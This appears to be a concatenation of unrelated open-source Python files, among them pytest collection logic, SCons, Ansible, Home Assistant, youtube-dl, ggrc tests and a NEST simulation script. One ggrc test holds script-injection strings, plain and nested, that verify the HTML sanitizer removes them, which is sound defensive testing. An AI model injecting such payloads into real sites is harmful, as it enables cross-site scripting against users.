self.trace("perform_collect", self, args)
self.trace.root.indent += 1
self._notfound = []
self._initialpaths = set()
self._initialparts = []
self.items = items = []
for arg in args:
parts = self._parsearg(arg)
self._initialparts.append(parts)
self._initialpaths.add(parts[0])
rep = collect_one_node(self)
self.ihook.pytest_collectreport(report=rep)
self.trace.root.indent -= 1
if self._notfound:
errors = []
for arg, exc in self._notfound:
line = "(no name %r in any of %r)" % (arg, exc.args[0])
errors.append("not found: %s\n%s" % (arg, line))
#XXX: test this
raise pytest.UsageError(*errors)
if not genitems:
return rep.result
else:
if rep.passed:
for node in rep.result:
self.items.extend(self.genitems(node))
return items
def collect(self):
for parts in self._initialparts:
arg = "::".join(map(str, parts))
self.trace("processing argument", arg)
self.trace.root.indent += 1
try:
for x in self._collect(arg):
yield x
except NoMatch:
# we are inside a make_report hook so
# we cannot directly pass through the exception
self._notfound.append((arg, sys.exc_info()[1]))
self.trace.root.indent -= 1
def _collect(self, arg):
names = self._parsearg(arg)
path = names.pop(0)
if path.check(dir=1):
assert not names, "invalid arg %r" %(arg,)
for path in path.visit(fil=lambda x: x.check(file=1),
rec=self._recurse, bf=True, sort=True):
for x in self._collectfile(path):
yield x
else:
assert path.check(file=1)
for x in self.matchnodes(self._collectfile(path), names):
yield x
def _collectfile(self, path):
ihook = self.gethookproxy(path)
if not self.isinitpath(path):
if ihook.pytest_ignore_collect(path=path, config=self.config):
return ()
return ihook.pytest_collect_file(path=path, parent=self)
def _recurse(self, path):
ihook = self.gethookproxy(path.dirpath())
if ihook.pytest_ignore_collect(path=path, config=self.config):
return
for pat in self._norecursepatterns:
if path.check(fnmatch=pat):
return False
ihook = self.gethookproxy(path)
ihook.pytest_collect_directory(path=path, parent=self)
return True
def _tryconvertpyarg(self, x):
mod = None
path = [os.path.abspath('.')] + sys.path
for name in x.split('.'):
# ignore anything that's not a proper name here
# else something like --pyargs will mess up '.'
# since imp.find_module will actually sometimes work for it
# but it's supposed to be considered a filesystem path
# not a package
if name_re.match(name) is None:
return x
try:
fd, mod, type_ = imp.find_module(name, path)
except ImportError:
return x
else:
if fd is not None:
fd.close()
if type_[2] != imp.PKG_DIRECTORY:
path = [os.path.dirname(mod)]
else:
path = [mod]
return mod
def _parsearg(self, arg):
""" return (fspath, names) tuple after checking the file exists. """
arg = str(arg)
if self.config.option.pyargs:
arg = self._tryconvertpyarg(arg)
parts = str(arg).split("::")
relpath = parts[0].replace("/", os.sep)
path = self.config.invocation_dir.join(relpath, abs=True)
if not path.check():
if self.config.option.pyargs:
msg = "file or package not found: "
else:
msg = "file not found: "
raise pytest.UsageError(msg + arg)
parts[0] = path
return parts
def matchnodes(self, matching, names):
self.trace("matchnodes", matching, names)
self.trace.root.indent += 1
nodes = self._matchnodes(matching, names)
num = len(nodes)
self.trace("matchnodes finished -> ", num, "nodes")
self.trace.root.indent -= 1
if num == 0:
raise NoMatch(matching, names[:1])
return nodes
def _matchnodes(self, matching, names):
if not matching or not names:
return matching
name = names[0]
assert name
nextnames = names[1:]
resultnodes = []
for node in matching:
if isinstance(node, pytest.Item):
if not names:
resultnodes.append(node)
continue
assert isinstance(node, pytest.Collector)
rep = collect_one_node(node)
if rep.passed:
has_matched = False
for x in rep.result:
# TODO: remove parametrized workaround once collection structure contains parametrization
if x.name == name or x.name.split("[")[0] == name:
resultnodes.extend(self.matchnodes([x], nextnames))
has_matched = True
# XXX accept IDs that don't have "()" for class instances
if not has_matched and len(rep.result) == 1 and x.name == "()":
nextnames.insert(0, name)
resultnodes.extend(self.matchnodes([x], nextnames))
node.ihook.pytest_collectreport(report=rep)
return resultnodes
def genitems(self, node):
self.trace("genitems", node)
if isinstance(node, pytest.Item):
node.ihook.pytest_itemcollected(item=node)
yield node
else:
assert isinstance(node, pytest.Collector)
rep = collect_one_node(node)
if rep.passed:
for subnode in rep.result:
for x in self.genitems(subnode):
yield x
node.ihook.pytest_collectreport(report=rep)
|
mpl-2.0
|
topicusonderwijs/zxing-ios
|
cpp/scons/scons-local-2.0.0.final.0/SCons/Tool/gnulink.py
|
34
|
2206
|
"""SCons.Tool.gnulink
Tool-specific initialization for the gnu linker.
There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.
"""
#
# Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 The SCons Foundation
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
__revision__ = "src/engine/SCons/Tool/gnulink.py 5023 2010/06/14 22:05:46 scons"
import SCons.Util
import link
linkers = ['g++', 'gcc']
def generate(env):
"""Add Builders and construction variables for gnulink to an Environment."""
link.generate(env)
if env['PLATFORM'] == 'hpux':
env['SHLINKFLAGS'] = SCons.Util.CLVar('$LINKFLAGS -shared -fPIC')
# __RPATH is set to $_RPATH in the platform specification if that
# platform supports it.
env.Append(LINKFLAGS=['$__RPATH'])
env['RPATHPREFIX'] = '-Wl,-rpath='
env['RPATHSUFFIX'] = ''
env['_RPATH'] = '${_concat(RPATHPREFIX, RPATH, RPATHSUFFIX, __env__)}'
def exists(env):
return env.Detect(linkers)
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4:
|
apache-2.0
|
mlperf/training_results_v0.5
|
v0.5.0/google/cloud_v100x8/code/resnet/benchmarks/scripts/tf_cnn_benchmarks/flags.py
|
3
|
3679
|
# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Contains functions to define flags and params.
Calling a DEFINE_* function will add a ParamSpec namedtuple to the param_spec
dict. The DEFINE_* arguments match those in absl. Calling define_flags() creates
a command-line flag for every ParamSpec defined by a DEFINE_* functions.
The reason we don't use absl flags directly is that we want to be able to use
tf_cnn_benchmarks as a library. When using it as a library, we don't want to
define any flags, but instead pass parameters to the BenchmarkCNN constructor.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from collections import namedtuple
from absl import flags as absl_flags
import six
FLAGS = absl_flags.FLAGS
# ParamSpec describes one of benchmark_cnn.BenchmarkCNN's parameters.
ParamSpec = namedtuple('_ParamSpec',
['flag_type', 'default_value', 'description',
'kwargs'])
# Maps from parameter name to its ParamSpec.
param_specs = {}
def DEFINE_string(name, default, help): # pylint: disable=invalid-name,redefined-builtin
param_specs[name] = ParamSpec('string', default, help, {})
def DEFINE_boolean(name, default, help): # pylint: disable=invalid-name,redefined-builtin
param_specs[name] = ParamSpec('boolean', default, help, {})
def DEFINE_integer(name, default, help, lower_bound=None, upper_bound=None): # pylint: disable=invalid-name,redefined-builtin
kwargs = {'lower_bound': lower_bound, 'upper_bound': upper_bound}
param_specs[name] = ParamSpec('integer', default, help, kwargs)
def DEFINE_float(name, default, help, lower_bound=None, upper_bound=None): # pylint: disable=invalid-name,redefined-builtin
kwargs = {'lower_bound': lower_bound, 'upper_bound': upper_bound}
param_specs[name] = ParamSpec('float', default, help, kwargs)
def DEFINE_enum(name, default, enum_values, help): # pylint: disable=invalid-name,redefined-builtin
kwargs = {'enum_values': enum_values}
param_specs[name] = ParamSpec('enum', default, help, kwargs)
def DEFINE_list(name, default, help): # pylint: disable=invalid-name,redefined-builtin
param_specs[name] = ParamSpec('list', default, help, {})
def define_flags(specs=None):
"""Define a command line flag for each ParamSpec in flags.param_specs."""
specs = specs or param_specs
define_flag = {
'boolean': absl_flags.DEFINE_boolean,
'float': absl_flags.DEFINE_float,
'integer': absl_flags.DEFINE_integer,
'string': absl_flags.DEFINE_string,
'enum': absl_flags.DEFINE_enum,
'list': absl_flags.DEFINE_list
}
for name, param_spec in six.iteritems(specs):
if param_spec.flag_type not in define_flag:
raise ValueError('Unknown flag_type %s' % param_spec.flag_type)
else:
define_flag[param_spec.flag_type](name, param_spec.default_value,
help=param_spec.description,
**param_spec.kwargs)
|
apache-2.0
|
devopservices/ansible
|
lib/ansible/runner/connection_plugins/fireball.py
|
110
|
4841
|
# (c) 2012, Michael DeHaan <[email protected]>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
import json
import os
import base64
from ansible.callbacks import vvv
from ansible import utils
from ansible import errors
from ansible import constants
HAVE_ZMQ=False
try:
import zmq
HAVE_ZMQ=True
except ImportError:
pass
class Connection(object):
''' ZeroMQ accelerated connection '''
def __init__(self, runner, host, port, *args, **kwargs):
self.runner = runner
self.has_pipelining = False
# attempt to work around shared-memory funness
if getattr(self.runner, 'aes_keys', None):
utils.AES_KEYS = self.runner.aes_keys
self.host = host
self.key = utils.key_for_hostname(host)
self.context = None
self.socket = None
if port is None:
self.port = constants.ZEROMQ_PORT
else:
self.port = port
self.become_methods_supported=[]
def connect(self):
''' activates the connection object '''
if not HAVE_ZMQ:
raise errors.AnsibleError("zmq is not installed")
# this is rough/temporary and will likely be optimized later ...
self.context = zmq.Context()
socket = self.context.socket(zmq.REQ)
addr = "tcp://%s:%s" % (self.host, self.port)
socket.connect(addr)
self.socket = socket
return self
def exec_command(self, cmd, tmp_path, become_user, sudoable=False, executable='/bin/sh', in_data=None):
''' run a command on the remote host '''
if in_data:
raise errors.AnsibleError("Internal Error: this module does not support optimized module pipelining")
vvv("EXEC COMMAND %s" % cmd)
if self.runner.become and sudoable:
raise errors.AnsibleError(
"When using fireball, do not specify sudo or su to run your tasks. " +
"Instead sudo the fireball action with sudo. " +
"Task will communicate with the fireball already running in sudo mode."
)
data = dict(
mode='command',
cmd=cmd,
tmp_path=tmp_path,
executable=executable,
)
data = utils.jsonify(data)
data = utils.encrypt(self.key, data)
self.socket.send(data)
response = self.socket.recv()
response = utils.decrypt(self.key, response)
response = utils.parse_json(response)
return (response.get('rc',None), '', response.get('stdout',''), response.get('stderr',''))
def put_file(self, in_path, out_path):
''' transfer a file from local to remote '''
vvv("PUT %s TO %s" % (in_path, out_path), host=self.host)
if not os.path.exists(in_path):
raise errors.AnsibleFileNotFound("file or module does not exist: %s" % in_path)
data = file(in_path).read()
data = base64.b64encode(data)
data = dict(mode='put', data=data, out_path=out_path)
# TODO: support chunked file transfer
data = utils.jsonify(data)
data = utils.encrypt(self.key, data)
self.socket.send(data)
response = self.socket.recv()
response = utils.decrypt(self.key, response)
response = utils.parse_json(response)
# no meaningful response needed for this
def fetch_file(self, in_path, out_path):
''' save a remote file to the specified path '''
vvv("FETCH %s TO %s" % (in_path, out_path), host=self.host)
data = dict(mode='fetch', in_path=in_path)
data = utils.jsonify(data)
data = utils.encrypt(self.key, data)
self.socket.send(data)
response = self.socket.recv()
response = utils.decrypt(self.key, response)
response = utils.parse_json(response)
response = response['data']
response = base64.b64decode(response)
fh = open(out_path, "w")
fh.write(response)
fh.close()
def close(self):
''' terminate the connection '''
# Be a good citizen
try:
self.socket.close()
self.context.term()
except:
pass
|
gpl-3.0
|
open-homeautomation/home-assistant
|
homeassistant/components/sensor/zoneminder.py
|
18
|
3357
|
"""
Support for ZoneMinder Sensors.
For more details about this platform, please refer to the documentation at
https://home-assistant.io/components/sensor.zoneminder/
"""
import logging
import voluptuous as vol
from homeassistant.components.sensor import PLATFORM_SCHEMA
from homeassistant.const import STATE_UNKNOWN
from homeassistant.helpers.entity import Entity
import homeassistant.components.zoneminder as zoneminder
import homeassistant.helpers.config_validation as cv
_LOGGER = logging.getLogger(__name__)
DEPENDENCIES = ['zoneminder']
CONF_INCLUDE_ARCHIVED = "include_archived"
DEFAULT_INCLUDE_ARCHIVED = False
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
vol.Optional(CONF_INCLUDE_ARCHIVED, default=DEFAULT_INCLUDE_ARCHIVED):
cv.boolean,
})
def setup_platform(hass, config, add_devices, discovery_info=None):
"""Set up the ZoneMinder sensor platform."""
include_archived = config.get(CONF_INCLUDE_ARCHIVED)
sensors = []
monitors = zoneminder.get_state('api/monitors.json')
for i in monitors['monitors']:
sensors.append(
ZMSensorMonitors(int(i['Monitor']['Id']), i['Monitor']['Name'])
)
sensors.append(
ZMSensorEvents(int(i['Monitor']['Id']), i['Monitor']['Name'],
include_archived)
)
add_devices(sensors)
class ZMSensorMonitors(Entity):
"""Get the status of each ZoneMinder monitor."""
def __init__(self, monitor_id, monitor_name):
"""Initiate monitor sensor."""
self._monitor_id = monitor_id
self._monitor_name = monitor_name
self._state = None
@property
def name(self):
"""Return the name of the sensor."""
return '{} Status'.format(self._monitor_name)
@property
def state(self):
"""Return the state of the sensor."""
return self._state
def update(self):
"""Update the sensor."""
monitor = zoneminder.get_state(
'api/monitors/%i.json' % self._monitor_id
)
if monitor['monitor']['Monitor']['Function'] is None:
self._state = STATE_UNKNOWN
else:
self._state = monitor['monitor']['Monitor']['Function']
class ZMSensorEvents(Entity):
"""Get the number of events for each monitor."""
def __init__(self, monitor_id, monitor_name, include_archived):
"""Initiate event sensor."""
self._monitor_id = monitor_id
self._monitor_name = monitor_name
self._include_archived = include_archived
self._state = None
@property
def name(self):
"""Return the name of the sensor."""
return '{} Events'.format(self._monitor_name)
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return 'Events'
@property
def state(self):
"""Return the state of the sensor."""
return self._state
def update(self):
"""Update the sensor."""
archived_filter = '/Archived:0'
if self._include_archived:
archived_filter = ''
event = zoneminder.get_state(
'api/events/index/MonitorId:%i%s.json' % (self._monitor_id,
archived_filter)
)
self._state = event['pagination']['count']
|
apache-2.0
|
HumanDynamics/openPDS
|
openpds/accesscontrol/models.py
|
3
|
2294
|
from django.conf import settings
from django.db import models
from django.utils.translation import gettext as _
from openpds.core.models import Profile
class Context(models.Model):
datastore_owner = models.ForeignKey(Profile, blank = False, null = False, related_name="datastore_owner_context")
context_label = models.CharField(max_length=200)
context_duration_start = models.CharField(max_length=120, default=False)
context_duration_end = models.CharField(max_length=120, default=False)
context_duration_days = models.CharField(max_length=120,default=False)
context_places = models.TextField(default=False)
class Meta:
unique_together = ('datastore_owner', 'context_label')
class Settings(models.Model):
datastore_owner = models.ForeignKey(Profile, blank = False, null = False, related_name="datastore_owner_settings")
app_id = models.CharField(max_length=120)
lab_id = models.CharField(max_length=120)
# service_id = models.CharField(max_length=120)
# enabled = models.BooleanField(default=False)
activity_probe = models.BooleanField(default=False)
sms_probe = models.BooleanField(default=False)
call_log_probe = models.BooleanField(default=False)
bluetooth_probe = models.BooleanField(default=False)
wifi_probe = models.BooleanField(default=False)
simple_location_probe = models.BooleanField(default=False)
screen_probe = models.BooleanField(default=False)
running_applications_probe = models.BooleanField(default=False)
hardware_info_probe = models.BooleanField(default=False)
app_usage_probe = models.BooleanField(default=False)
context_label = models.ForeignKey(Context, blank = False, null = False, related_name="settings_context_label")
class Meta:
unique_together = ('datastore_owner', 'app_id', 'lab_id')
class Optin(models.Model):
datastore_owner = models.ForeignKey(Profile, blank = False, null = False, related_name="datastore_owner_optin")
app_id = models.CharField(max_length=120)
lab_id = models.CharField(max_length=120)
data_aggregation = models.BooleanField(default=False)
class Meta:
unique_together = ('datastore_owner', 'app_id', 'lab_id')
|
mit
|
j0gurt/ggrc-core
|
test/unit/ggrc/test_utils.py
|
7
|
3372
|
# Copyright (C) 2016 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
from ggrc import utils
from unittest import TestCase
class TestUtilsFunctions(TestCase):
def test_mapping_rules(self):
""" Test that all mappings go both ways """
mappings = utils.get_mapping_rules()
verificationErrors = []
for object_name, object_mappings in mappings.items():
for mapping in object_mappings:
try:
# If obj A is in obj B mappings, make sure that obj B is also in
# obj A mappings
self.assertIn(
mapping, mappings,
"- {} is not in the mappings dict".format(mapping)
)
self.assertIn(
object_name, mappings[mapping],
"{} not found in {} mappings".format(object_name, mapping)
)
except AssertionError as e:
verificationErrors.append(str(e))
verificationErrors.sort()
self.assertEqual(verificationErrors, [])
def test_merge_dict(self):
dict1 = {
"a": {
"b": {
"c": 1,
"d": {
"e": 2,
},
},
},
}
dict2 = {
"a": {
"b": {
"c": 1,
"f": {
"e": 2
}
},
"g": 3
},
"h": 4
}
expected_result = {
"a": {
"b": {
"c": 1,
"d": {
"e": 2,
},
"f": {
"e": 2,
},
},
"g": 3,
},
"h": 4,
}
result = utils.merge_dict(dict1, dict2)
self.assertEqual(result, expected_result)
def test_merge_dicts(self):
dict1 = {
"a": {
"b": {
"c": 1,
"d": {
"e": 2
}
}
}
}
dict2 = {
"a": {
"b": {
"c": 1,
"f": {
"e": 2
}
},
"g": 3
},
"h": 4
}
dict3 = {
"a": {
"eeb": {
"c": 1,
"f": {
"e": 2
}
},
"g": 3
},
"h": 4
}
result = {
"a": {
"b": {
"c": 1,
"d": {
"e": 2,
},
"f": {
"e": 2,
},
},
"eeb": {
"c": 1,
"f": {
"e": 2
}
},
"g": 3,
},
"h": 4,
}
expected_result = utils.merge_dicts(dict1, dict2, dict3)
self.assertEqual(result, expected_result)
def test_html_cleaner(self):
def clean(value):
return utils.html_cleaner.cleaner(None, value, None, None)
self.assertEqual(clean("<script>alert(1)</script>"), "alert(1)")
nested = ("<<script>s<script>c<script>r<script>i<script>p<script>t"
"<script>>alert(2)<<script>/<script>s<script>c<script>r<script>"
"i<script>p<script>t<script>>")
self.assertEqual(clean(nested), "alert(2)")
|
apache-2.0
|
steebchen/youtube-dl
|
youtube_dl/extractor/sixplay.py
|
4
|
4190
|
# coding: utf-8
from __future__ import unicode_literals
import re
from .common import InfoExtractor
from ..compat import (
compat_parse_qs,
compat_str,
compat_urllib_parse_urlparse,
)
from ..utils import (
determine_ext,
int_or_none,
try_get,
qualities,
)
class SixPlayIE(InfoExtractor):
IE_NAME = '6play'
_VALID_URL = r'(?:6play:|https?://(?:www\.)?6play\.fr/.+?-c_)(?P<id>[0-9]+)'
_TEST = {
'url': 'http://www.6play.fr/le-meilleur-patissier-p_1807/le-meilleur-patissier-special-fetes-mercredi-a-21-00-sur-m6-c_11638450',
'md5': '42310bffe4ba3982db112b9cd3467328',
'info_dict': {
'id': '11638450',
'ext': 'mp4',
'title': 'Le Meilleur Pâtissier, spécial fêtes mercredi à 21:00 sur M6',
'description': 'md5:308853f6a5f9e2d55a30fc0654de415f',
'duration': 39,
'series': 'Le meilleur pâtissier',
},
'params': {
'skip_download': True,
},
}
def _real_extract(self, url):
video_id = self._match_id(url)
data = self._download_json(
'https://pc.middleware.6play.fr/6play/v2/platforms/m6group_web/services/6play/videos/clip_%s' % video_id,
video_id, query={
'csa': 5,
'with': 'clips',
})
clip_data = data['clips'][0]
title = clip_data['title']
urls = []
quality_key = qualities(['lq', 'sd', 'hq', 'hd'])
formats = []
subtitles = {}
for asset in clip_data['assets']:
asset_url = asset.get('full_physical_path')
protocol = asset.get('protocol')
if not asset_url or protocol == 'primetime' or asset_url in urls:
continue
urls.append(asset_url)
container = asset.get('video_container')
ext = determine_ext(asset_url)
if protocol == 'http_subtitle' or ext == 'vtt':
subtitles.setdefault('fr', []).append({'url': asset_url})
continue
if container == 'm3u8' or ext == 'm3u8':
if protocol == 'usp' and not compat_parse_qs(compat_urllib_parse_urlparse(asset_url).query).get('token', [None])[0]:
asset_url = re.sub(r'/([^/]+)\.ism/[^/]*\.m3u8', r'/\1.ism/\1.m3u8', asset_url)
formats.extend(self._extract_m3u8_formats(
asset_url, video_id, 'mp4', 'm3u8_native',
m3u8_id='hls', fatal=False))
formats.extend(self._extract_f4m_formats(
asset_url.replace('.m3u8', '.f4m'),
video_id, f4m_id='hds', fatal=False))
formats.extend(self._extract_mpd_formats(
asset_url.replace('.m3u8', '.mpd'),
video_id, mpd_id='dash', fatal=False))
formats.extend(self._extract_ism_formats(
re.sub(r'/[^/]+\.m3u8', '/Manifest', asset_url),
video_id, ism_id='mss', fatal=False))
else:
formats.extend(self._extract_m3u8_formats(
asset_url, video_id, 'mp4', 'm3u8_native',
m3u8_id='hls', fatal=False))
elif container == 'mp4' or ext == 'mp4':
quality = asset.get('video_quality')
formats.append({
'url': asset_url,
'format_id': quality,
'quality': quality_key(quality),
'ext': ext,
})
self._sort_formats(formats)
def get(getter):
for src in (data, clip_data):
v = try_get(src, getter, compat_str)
if v:
return v
return {
'id': video_id,
'title': title,
'description': get(lambda x: x['description']),
'duration': int_or_none(clip_data.get('duration')),
'series': get(lambda x: x['program']['title']),
'formats': formats,
'subtitles': subtitles,
}
|
unlicense
|
zyq8709/DexHunter
|
art/tools/generate-operator-out.py
|
35
|
5576
|
#!/usr/bin/python
#
# Copyright (C) 2012 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Generates default implementations of operator<< for enum types."""
import codecs
import os
import re
import string
import sys
_ENUM_START_RE = re.compile(r'\benum\b\s+(\S+)\s+\{')
_ENUM_VALUE_RE = re.compile(r'([A-Za-z0-9_]+)(.*)')
_ENUM_END_RE = re.compile(r'^\s*\};$')
_ENUMS = {}
_NAMESPACES = {}
def Confused(filename, line_number, line):
sys.stderr.write('%s:%d: confused by:\n%s\n' % (filename, line_number, line))
raise Exception("giving up!")
sys.exit(1)
def ProcessFile(filename):
lines = codecs.open(filename, 'r', 'utf8', 'replace').read().split('\n')
in_enum = False
line_number = 0
namespaces = []
enclosing_classes = []
for raw_line in lines:
line_number += 1
if not in_enum:
# Is this the start of a new enum?
m = _ENUM_START_RE.search(raw_line)
if m:
# Yes, so add an empty entry to _ENUMS for this enum.
enum_name = m.group(1)
if len(enclosing_classes) > 0:
enum_name = '::'.join(enclosing_classes) + '::' + enum_name
_ENUMS[enum_name] = []
_NAMESPACES[enum_name] = '::'.join(namespaces)
in_enum = True
continue
# Is this the start or end of a namespace?
m = re.compile(r'^namespace (\S+) \{').search(raw_line)
if m:
namespaces.append(m.group(1))
continue
m = re.compile(r'^\}\s+// namespace').search(raw_line)
if m:
namespaces = namespaces[0:len(namespaces) - 1]
continue
# Is this the start or end of an enclosing class or struct?
m = re.compile(r'^(?:class|struct)(?: MANAGED)? (\S+).* \{').search(raw_line)
if m:
enclosing_classes.append(m.group(1))
continue
m = re.compile(r'^\};').search(raw_line)
if m:
enclosing_classes = enclosing_classes[0:len(enclosing_classes) - 1]
continue
continue
# Is this the end of the current enum?
m = _ENUM_END_RE.search(raw_line)
if m:
if not in_enum:
Confused(filename, line_number, raw_line)
in_enum = False
continue
# The only useful thing in comments is the <<alternate text>> syntax for
# overriding the default enum value names. Pull that out...
enum_text = None
m_comment = re.compile(r'// <<(.*?)>>').search(raw_line)
if m_comment:
enum_text = m_comment.group(1)
# ...and then strip // comments.
line = re.sub(r'//.*', '', raw_line)
# Strip whitespace.
line = line.strip()
# Skip blank lines.
if len(line) == 0:
continue
# Since we know we're in an enum type, and we're not looking at a comment
# or a blank line, this line should be the next enum value...
m = _ENUM_VALUE_RE.search(line)
if not m:
Confused(filename, line_number, raw_line)
enum_value = m.group(1)
# By default, we turn "kSomeValue" into "SomeValue".
if enum_text == None:
enum_text = enum_value
if enum_text.startswith('k'):
enum_text = enum_text[1:]
# Lose literal values because we don't care; turn "= 123, // blah" into ", // blah".
rest = m.group(2).strip()
m_literal = re.compile(r'= (0x[0-9a-f]+|-?[0-9]+|\'.\')').search(rest)
if m_literal:
rest = rest[(len(m_literal.group(0))):]
# With "kSomeValue = kOtherValue," we take the original and skip later synonyms.
# TODO: check that the rhs is actually an existing value.
if rest.startswith('= k'):
continue
# Remove any trailing comma and whitespace
if rest.startswith(','):
rest = rest[1:]
rest = rest.strip()
# There shouldn't be anything left.
if len(rest):
Confused(filename, line_number, raw_line)
if len(enclosing_classes) > 0:
enum_value = '::'.join(enclosing_classes) + '::' + enum_value
_ENUMS[enum_name].append((enum_value, enum_text))
def main():
local_path = sys.argv[1]
header_files = []
for header_file in sys.argv[2:]:
header_files.append(header_file)
ProcessFile(header_file)
print '#include <iostream>'
print
for header_file in header_files:
header_file = header_file.replace(local_path + '/', '')
print '#include "%s"' % header_file
print
for enum_name in _ENUMS:
print '// This was automatically generated by %s --- do not edit!' % sys.argv[0]
namespaces = _NAMESPACES[enum_name].split('::')
for namespace in namespaces:
print 'namespace %s {' % namespace
print 'std::ostream& operator<<(std::ostream& os, const %s& rhs) {' % enum_name
print ' switch (rhs) {'
for (enum_value, enum_text) in _ENUMS[enum_name]:
print ' case %s: os << "%s"; break;' % (enum_value, enum_text)
print ' default: os << "%s[" << static_cast<int>(rhs) << "]"; break;' % enum_name
print ' }'
print ' return os;'
print '}'
for namespace in reversed(namespaces):
print '} // namespace %s' % namespace
print
sys.exit(0)
if __name__ == '__main__':
main()
|
apache-2.0
|
research-team/NEUCOGAR
|
NEST/appraisal/scripts/func.py
|
1
|
10467
|
import os
import sys
import time
import logging
import datetime
import numpy as np
from data import *
from time import clock
from parameters import *
from collections import defaultdict
spike_generators = {} # dict name_part : spikegenerator
spike_detectors = {} # dict name_part : spikedetector
multimeters = {} # dict name_part : multimeter
startsimulate = 0
endsimulate = 0
txt_result_path = "" # path for txt results
all_parts = tuple() # tuple of all parts
MaxSynapses = 4000 # max synapses
SYNAPSES = 0 # synapse number
NEURONS = 0 # neurons number
times = [] # store time simulation
logging.basicConfig(format='%(name)s.%(levelname)s: %(message)s.', level=logging.DEBUG)
logger = logging.getLogger('function')
def getAllParts():
return all_parts
def generate_neurons(NNumber):
global NEURONS, all_parts
logger.debug("* * * Start generate neurons")
##################################dopa###############
parts_with_nora = nts + lc + bnst
parts_simple = (thalamus[thalamus_Glu],
prefrontal[pfc_Glu0], prefrontal[pfc_Glu1],prefrontal[pfc_NA],
nac[nac_Ach], nac[nac_GABA0], nac[nac_GABA1], nac[nac_NA],
vta[vta_GABA0], vta[vta_GABA1], vta[vta_GABA2],
amygdala[amygdala_Glu], amygdala[amygdala_Ach], amygdala[amygdala_GABA],
snc[snc_GABA]) + \
motor + pptg + snr + gpe + gpi + stn + pgi + prh + ldt + vta
parts_with_dopa = (vta[vta_DA0], vta[vta_DA1], snc[snc_DA], nac[nac_DA],
prefrontal[pfc_DA])
parts_with_5HT = (thalamus[thalamus_5HT], prefrontal[pfc_5HT],
nac[nac_5HT], vta[vta_5HT], amygdala[amygdala_5HT]) + \
medial_cortex + neocortex + lateral_cortex + \
entorhinal_cortex + septum + lateral_tegmental_area + \
periaqueductal_gray + hippocampus + hypothalamus + \
insular_cortex + rn + striatum
all_parts = tuple(sorted(parts_simple + parts_with_dopa + parts_with_5HT + parts_with_nora))
NN_coef = float(NNumber) / sum(item[k_NN] for item in all_parts)
NEURONS = sum(item[k_NN] for item in all_parts)
logger.debug('Initialized: {0} neurons'.format(NEURONS))
# Init neuron models with our parameters
# nest.SetDefaults('iaf_psc_exp', iaf_neuronparams)
# nest.SetDefaults('iaf_psc_alpha', iaf_neuronparams)
nest.SetDefaults('hh_cond_exp_traub', hh_neuronparams)
# Parts without dopamine and 5HT and nora
for part in parts_simple:
part[k_model] = 'hh_cond_exp_traub'
# Parts with dopamine and 5HT
for part in parts_with_dopa + parts_with_5HT:
part[k_model] = 'hh_cond_exp_traub'
# Parts with noradrenaline
for part in parts_with_nora:
part[k_model] = 'hh_cond_exp_traub' # Creating neurons
for part in all_parts:
part[k_NN] = NN_minimal if int(part[k_NN] * NN_coef) < NN_minimal else int(part[k_NN] * NN_coef)
part[k_IDs] = nest.Create(part[k_model], part[k_NN])
logger.debug("{0} [{1}, {2}] {3} neurons".format(part[k_name], part[k_IDs][0], part[k_IDs][-1:][0], part[k_NN]))
def log_connection(pre, post, syn_type, weight):
global SYNAPSES
connections = pre[k_NN] * post[k_NN] if post[k_NN] < MaxSynapses else pre[k_NN] * MaxSynapses
SYNAPSES += connections
logger.debug("{0} -> {1} ({2}) w[{3}] // "
"{4}x{5}={6} synapses".format(pre[k_name], post[k_name], syn_type[:-8], weight, pre[k_NN],
MaxSynapses if post[k_NN] > MaxSynapses else post[k_NN], connections))
